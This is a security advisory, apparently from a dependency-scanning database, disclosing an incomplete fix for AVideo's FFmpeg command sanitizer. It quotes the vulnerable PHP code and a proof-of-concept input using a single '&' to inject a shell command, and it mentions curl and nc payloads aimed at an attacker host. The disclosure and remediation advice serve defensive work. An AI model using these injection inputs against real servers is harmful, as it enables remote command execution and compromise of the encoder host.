Packagist · wwbn/avideo
AVideo has an incomplete fix of CVE-2026-33482: sanitizeFFmpegCommand still allows a single '&' (background operator), giving OS command execution at the same execAsync sh -c sink
The fix for CVE-2026-33482 (GHSA-pmj8-r2j7-xg6c) is incomplete. That advisory reported that sanitizeFFmpegCommand() (plugin/API/standAlone/functions.php) failed to strip $(...) command substitution, allowing OS command injection at the execAsync() sh -c sink. The fix (commit 25c8ab90) added $, (, ), {, }, \n, \r to the denylist character class and a str_replace('&&', '', ...). It still does not neutralize a single & (the shell background operator), which remains a command separator at the unchanged sink. Same entry point, same sink, same impact as the original — only the surviving metacharacter differs.
Verified at master HEAD.
HEAD sanitizeFFmpegCommand (functions.php):
$command = str_replace('&&', '', $command); // only the doubled form
$command = preg_replace('/\s*&?>.*(?:2>&1)?/', '', $command); // strips '&' only when followed by '>'
$command = preg_replace('/[;|`<>$()\n\r{}]/', '', $command); // char class has no '&'
// then requires the result to start with 'ffmpeg'
A single & is therefore preserved. ffmpeg ... & <cmd> passes the sanitizer and the strpos(trim($command),'ffmpeg')===0 prefix gate.
plugin/API/standAlone/ffmpeg.json.php:418 -> execAsync($ffmpegCommand, $keyword). In objects/functionsExec.php::execAsync:
$command = addcslashes($command, '"'); // line 686 — escapes only the double-quote
$commandWithKeyword = "nohup sh -c \"$command & echo \\$! > /tmp/$keyword.pid\" > /dev/null 2>&1 &"; // line 705
exec($commandWithKeyword, ...); // line 712 — PHP exec() runs via /bin/sh -c
The sanitized command is embedded inside an inner sh -c "...". A bare & in $command separates commands for that inner shell, so the injected command executes. addcslashes escaping only " does not stop &.
ffmpeg.json.php builds the command from _decryptString(getInput('codeToExecEncrypted')). This is the same threat model the original advisory accepted (“an attacker who can craft a valid encrypted payload can achieve arbitrary command execution on the standalone encoder server”) and the same CVSS basis (AV:N/AC:H/PR:N).
Byte-faithful PHP harness: sanitizeFFmpegCommand copied verbatim from HEAD + the execAsync sh -c wrapping copied from functionsExec.php:
attacker input : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
after sanitize : ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo done out.mp4
ampersand survived : YES passes prefix : YES
final sh -c string:
nohup sh -c "ffmpeg -i input.mp4 & touch /tmp/avideo_amp_rce_proof & echo $! > /tmp/testkw.pid" > /dev/null 2>&1 &
>> injected touch executed: YES (/tmp/avideo_amp_rce_proof)
The sanitizer leaves & intact and the injected touch runs at the sink.
Arbitrary OS command execution on the standalone encoder server, identical to CVE-2026-33482. Multiple &-separated commands can be chained (e.g. download + execute). Redirect-based payloads are blocked by the > strip, but command execution (e.g. & curl http://attacker/..., & nc ..., dropping/running a file) is not.
Stop applying a metacharacter denylist to a sh -c sink. Build the ffmpeg invocation as an argv array with escapeshellarg() per token (the project already uses escapeshellarg() at 137 sites) instead of interpolating $command into sh -c "...". If the denylist is kept as defense-in-depth, add & to the stripped set — but the denylist approach has now missed two metacharacters in a row ($() then &).
Is your project exposed to this? Stateward checks every dependency on every pull request and flags it only if your code actually reaches it.
Check my repoSources: CISA KEV (public domain), OSV.dev & GitHub Advisory Database (CC-BY-4.0), FIRST EPSS, NVD/CWE (public domain). Served live from the Stateward advisory database.